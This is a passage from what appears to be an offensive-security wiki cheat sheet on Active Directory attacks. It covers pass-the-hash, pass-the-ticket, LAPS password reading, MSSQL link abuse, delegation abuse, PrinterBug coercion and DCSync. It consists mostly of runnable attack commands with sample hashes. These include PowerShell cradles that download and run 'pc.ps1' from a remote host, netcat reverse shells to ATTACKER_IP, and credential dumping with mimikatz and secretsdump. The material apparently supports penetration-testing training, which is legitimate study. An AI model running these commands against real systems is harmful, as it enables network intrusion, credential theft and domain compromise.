atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local &#039;whoami&#039;&lt;br /&gt;
# Powershell wmiexec&lt;br /&gt;
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1&lt;br /&gt;
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command &amp;quot;cmd /c mkdir c:\hacked&amp;quot; -Verbose&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Invoke-TheHash&lt;br /&gt;
https://github.com/Kevin-Robertson/Invoke-TheHash&lt;br /&gt;
# Invoke-SMBExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-WMIExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-SMBClient&lt;br /&gt;
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose&lt;br /&gt;
# Invoke-SMBEnum&lt;br /&gt;
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Powershell Empire&lt;br /&gt;
usemodule lateral_movement/invoke_smbexec&lt;br /&gt;
set ComputerName WIN-S0V7KMTVLD2.ignite.local&lt;br /&gt;
set Username Administrator&lt;br /&gt;
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
set Listener http&lt;br /&gt;
execute&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
# Metasploit&lt;br /&gt;
use exploit/windows/smb/psexec&lt;br /&gt;
set rhosts 192.168.1.105&lt;br /&gt;
set smbuser administrator&lt;br /&gt;
set smbdomain test.local&lt;br /&gt;
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Over Pass the Hash/Pass the key (PTK) ==&lt;br /&gt;
&lt;br /&gt;
This attack aims to &#039;&#039;&#039;use the user NTLM hash to request Kerberos tickets&#039;&#039;&#039;, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially &#039;&#039;&#039;useful in networks where NTLM protocol is disabled&#039;&#039;&#039; and only &#039;&#039;&#039;Kerberos is allowed&#039;&#039;&#039; as authentication protocol.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.&lt;br /&gt;
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache&lt;br /&gt;
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
-aesKey [AES Key] to specify to use AES256&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Pass the Ticket ==&lt;br /&gt;
&lt;br /&gt;
Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt&lt;br /&gt;
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
# Swapping Linux and Windows tickets between platforms&lt;br /&gt;
https://github.com/Zer1t0/ticket_converter (Ticket converter script)&lt;br /&gt;
# Only param needed is current ticket and output file.&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi&lt;br /&gt;
Converting ccache =&amp;gt; kirbi&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache&lt;br /&gt;
Converting kirbi =&amp;gt; ccache&lt;br /&gt;
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# Pass the ticket attack&lt;br /&gt;
# Linux&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK&lt;br /&gt;
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
# Windows&lt;br /&gt;
# Load the ticket in memory using mimikatz or Rubeus&lt;br /&gt;
mimikatz.exe &amp;quot;kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&amp;quot;&lt;br /&gt;
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&lt;br /&gt;
klist #List tickets in cache to cehck that mimikatz has loaded the ticket&lt;br /&gt;
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::ekeys&lt;br /&gt;
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:&lt;br /&gt;
# If we have the RC4 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES128 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES256 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LAPS ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/leoloobeek/LAPSToolkit&lt;br /&gt;
# Get groups that can read passwords&lt;br /&gt;
Find-LAPSDelegatedGroups&lt;br /&gt;
OrgUnit                                           Delegated Groups&lt;br /&gt;
-------                                           ----------------&lt;br /&gt;
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins&lt;br /&gt;
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin&lt;br /&gt;
# Checks the rights on each computer with LAPS enabled for any groups&lt;br /&gt;
# with read access and users with &amp;quot;All Extended Rights&amp;quot;&lt;br /&gt;
Find-AdmPwdExtendedRights&lt;br /&gt;
ComputerName                Identity                    Reason&lt;br /&gt;
------------                --------                    ------&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated&lt;br /&gt;
# Get computers with LAPS enabled, expirations time and the password (if you have access)&lt;br /&gt;
Get-LAPSComputers&lt;br /&gt;
ComputerName                Password       Expiration&lt;br /&gt;
------------                --------       ----------&lt;br /&gt;
DC01.DOMAIN_NAME.LOCAL      j&amp;amp;gR+A(s976Rf% 12/10/2022 13:24:41&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL Trusted Links ==&lt;br /&gt;
&lt;br /&gt;
If a user has privileges to &#039;&#039;&#039;access MSSQL instances&#039;&#039;&#039;, he could be able to use it to &#039;&#039;&#039;execute commands&#039;&#039;&#039; in the MSSQL host (if running as SA).&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1&lt;br /&gt;
Import-Module .\PowerupSQL.psd1&lt;br /&gt;
#Get local MSSQL instance (if any)&lt;br /&gt;
Get-SQLInstanceLocal&lt;br /&gt;
Get-SQLInstanceLocal | Get-SQLServerInfo&lt;br /&gt;
#If you don&#039;t have a AD account, you can try to find MSSQL scanning via UDP&lt;br /&gt;
#First, you will need a list of hosts to scan&lt;br /&gt;
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10&lt;br /&gt;
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them&lt;br /&gt;
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt&lt;br /&gt;
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test&lt;br /&gt;
# FROM INSIDE OF THE DOMAIN&lt;br /&gt;
#Get info about valid MSQL instances running in domain&lt;br /&gt;
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose&lt;br /&gt;
#Test connections with each one&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose&lt;br /&gt;
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose&lt;br /&gt;
#Dump an instance (a lotof CVSs generated in current dir)&lt;br /&gt;
Invoke-SQLDumpInfo -Verbose -Instance &amp;quot;dcorp-mssql&amp;quot;&lt;br /&gt;
#Look for MSSQL links of an accessible instance&lt;br /&gt;
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd &amp;gt; 0&lt;br /&gt;
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose&lt;br /&gt;
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:&lt;br /&gt;
Get-SQLServerLinkCrawl -instance &amp;quot;&amp;quot; -verbose -Query &#039;EXECUTE(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;,1;reconfigure;&#039;&#039;) AT &amp;quot;&amp;quot;&#039;&lt;br /&gt;
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query &amp;quot;exec master..xp_cmdshell &#039;whoami&#039;&amp;quot;&lt;br /&gt;
#Obtain a shell&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query &#039;exec master..xp_cmdshell &amp;quot;powershell iex (New-Object Net.WebClient).DownloadString(&#039;&#039;http://172.16.100.114:8080/pc.ps1&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
#Check for possible vulnerabilities on an instance where you have access&lt;br /&gt;
Invoke-SQLAudit -Verbose -Instance &amp;quot;dcorp-mssql.dollarcorp.moneycorp.local&amp;quot;&lt;br /&gt;
#Try to escalate privileges on an instance&lt;br /&gt;
Invoke-SQLEscalatePriv –Verbose –Instance &amp;quot;SQLServer1\Instance1&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Delegations ==&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
This a feature that a Domain Administrator can set to any &#039;&#039;&#039;Computer&#039;&#039;&#039; inside the domain. Then, anytime a &#039;&#039;&#039;user logins&#039;&#039;&#039; onto the Computer, a &#039;&#039;&#039;copy of the TGT&#039;&#039;&#039; of that user is going to be &#039;&#039;&#039;sent inside the TGS&#039;&#039;&#039; provided by the DC &#039;&#039;&#039;and saved in memory in LSASS&#039;&#039;&#039;. So, if you have Administrator privileges on the machine, you will be able to &#039;&#039;&#039;dump the tickets and impersonate the users&#039;&#039;&#039; on any machine.&lt;br /&gt;
&lt;br /&gt;
So if a domain admin logins inside a Computer with &amp;quot;Unconstrained Delegation&amp;quot; feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What is DCSync attack?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A DCSync attack &#039;&#039;&#039;uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
# Export tickets with Mimikatz&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::tickets /export #Recommended way&lt;br /&gt;
kerberos::list /export #Another way&lt;br /&gt;
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.&lt;br /&gt;
.\Rubeus.exe ptt /ticket:&lt;br /&gt;
&lt;br /&gt;
# Automatically compormise a print server&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server&lt;br /&gt;
.\SpoolSample.exe printmachine unconstrinedmachine&lt;br /&gt;
&lt;br /&gt;
# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;lsadump::dcsync /user:krbtgt&amp;quot;&#039;&lt;br /&gt;
# Use secretsdump if my user have DCsync rights&lt;br /&gt;
python3 secretsdump.py aghanim:password@10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
* Definition &amp;amp; Theory:&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation&#039;&#039;&#039;: An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Issued after user login. Helps in obtaining service-specific tickets.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Service ticket&#039;&#039;&#039; (TGS): Obtained using TGT for a specific service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Unconstrained Delegation Flow&#039;&#039;&#039;:&lt;br /&gt;
User requests a TGS for a service, includes forwardable TGT.&lt;br /&gt;
&lt;br /&gt;
* KDC returns TGT with the forward flag and a regular TGS.&lt;br /&gt;
&lt;br /&gt;
* TGT embedded into the TGS, sent to service.&lt;br /&gt;
&lt;br /&gt;
* Service can impersonate the user for backend services.&lt;br /&gt;
&lt;br /&gt;
* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enumeration &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.&lt;br /&gt;
&lt;br /&gt;
==== Dumping TGT if a user already have authenticated ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView to enumerate&lt;br /&gt;
# This can also be done with BloodHound&lt;br /&gt;
Get-DomainComputer -Unconstrained&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION&lt;br /&gt;
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.&lt;br /&gt;
# We assume we have performed lateral movement&lt;br /&gt;
# First; Extracting User&#039;s TGTs:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.&lt;br /&gt;
mimikatz # sekurlsa::tickets&lt;br /&gt;
# Export TGT:&lt;br /&gt;
mimikatz # sekurlsa::tickets /export&lt;br /&gt;
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).&lt;br /&gt;
# Inject the TGT into the Current Session:&lt;br /&gt;
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi&lt;br /&gt;
# TGT for the admin user is now loaded in memory.&lt;br /&gt;
# Test Access:&lt;br /&gt;
PsExec.exe \\cdc01 cmd&lt;br /&gt;
# To use impacket-psexec&lt;br /&gt;
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.&lt;br /&gt;
# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:&lt;br /&gt;
export KRB5CCNAME=/path/to/your/file.ccache&lt;br /&gt;
# 3 - use psexec.py&lt;br /&gt;
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Windows) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method that does not rely on user interaction&lt;br /&gt;
# Check if the print spooler service is running on the domain controller:&lt;br /&gt;
PS C:\Tools&amp;gt; dir \\cdc01\pipe\spoolss&lt;br /&gt;
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.&lt;br /&gt;
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!&lt;br /&gt;
# Launch rubeus in monitor mode and filter for the machine account cdc01.&lt;br /&gt;
Rubeus.exe monitor /interval:5 /filteruser:CDC01$&lt;br /&gt;
# Trigger the print spooler change notification&lt;br /&gt;
# DC01 is target machine, APPSRV01 is capture server&lt;br /&gt;
SpoolSample.exe CDC01 APPSRV01&lt;br /&gt;
# Now inject the base64 encoded ticket&lt;br /&gt;
Rubeus.exe ptt /ticket:[Base64EncodedTicket]&lt;br /&gt;
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
# With krbtgt NTLM hash we can craft a golden ticket.&lt;br /&gt;
# We can also dump the hash for the domain admin and&lt;br /&gt;
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator&lt;br /&gt;
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7&lt;br /&gt;
[*] Requesting shares on 192.168.229.70.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file bUwUVqLI.exe&lt;br /&gt;
[*] Opening SVCManager on 192.168.229.70.....&lt;br /&gt;
[*] Creating service FyXV on 192.168.229.70.....&lt;br /&gt;
[*] Starting service FyXV.....&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Linux) ====&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.&lt;br /&gt;
# 0. Look for hostname and NTLM hash&lt;br /&gt;
impacket-secretsdump domain/user:password@targetIP&lt;br /&gt;
...&lt;br /&gt;
CORP\FILES01$NTLM-HASH&lt;br /&gt;
...&lt;br /&gt;
# 1. Edit the compromised account&#039;s SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)&lt;br /&gt;
addspn.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -s &#039;HOST/attacker.DOMAIN_FQDN&#039; --additional &#039;DomainController&#039;&lt;br /&gt;
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan&lt;br /&gt;
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account&#039;s SPNs&lt;br /&gt;
dnstool.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -r &#039;attacker.DOMAIN_FQDN&#039; -d &#039;attacker_IP&#039; --action add &#039;DomainController&#039;&lt;br /&gt;
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d  DC1.foo.lan&lt;br /&gt;
# 3. Check that the record was added successfully (after ~3 minutes)&lt;br /&gt;
nslookup attacker.DOMAIN_FQDN DomainController&lt;br /&gt;
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)&lt;br /&gt;
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys&lt;br /&gt;
krbrelayx.py --krbsalt &#039;DOMAINusername&#039; --krbpass &#039;password&#039;&lt;br /&gt;
# 4.b. or supply the right Kerberos long-term key directly&lt;br /&gt;
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE&lt;br /&gt;
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword&lt;br /&gt;
# 5. Authentication coercion&lt;br /&gt;
# PrinterBug, PetitPotam, PrivExchange, ...&lt;br /&gt;
printerbug.py domain/&#039;vuln_account$&#039;@&#039;DC_IP&#039; -hashes LM:NT &#039;DomainController&#039;&lt;br /&gt;
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal&#039;s TGT.&lt;br /&gt;
# There should be a krbtgt ccache file in the current directory. And it can be used by&lt;br /&gt;
export KRB5CCNAME=`pwd`/&#039;krbtgt.ccache&#039;&lt;br /&gt;
$ python secretsdump.py -k DC1.foo.lan -just-dc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
If a user or computer is allowed for &amp;quot;Constrained Delegation&amp;quot; it will be able to &#039;&#039;&#039;impersonate any user to access some services in a computer&#039;&#039;&#039;. Then, if you &#039;&#039;&#039;compromise the hash&#039;&#039;&#039; of this user/computer you will be able to &#039;&#039;&#039;impersonate any user&#039;&#039;&#039; (even domain admins) to access some services.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# userAccountControl&lt;br /&gt;
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.&lt;br /&gt;
# msDS-AllowedToDelegateTo&lt;br /&gt;
# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.&lt;br /&gt;
&lt;br /&gt;
# Enumerate from PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
Get-DomainComputer -TrustedToAuth&lt;br /&gt;
&lt;br /&gt;
# Kekeo.exe and Mimikatz.exe&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d&lt;br /&gt;
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)&lt;br /&gt;
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL&lt;br /&gt;
# Load the TGS in memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Rubeus&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi&lt;br /&gt;
# Obtain a TGS of the Administrator user to self&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator&lt;br /&gt;
# Obtain service TGS impersonating Administrator (CIFS)&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /outfile:TGS_administrator_CIFS&lt;br /&gt;
# Impersonate Administrator on different service (HOST)&lt;br /&gt;
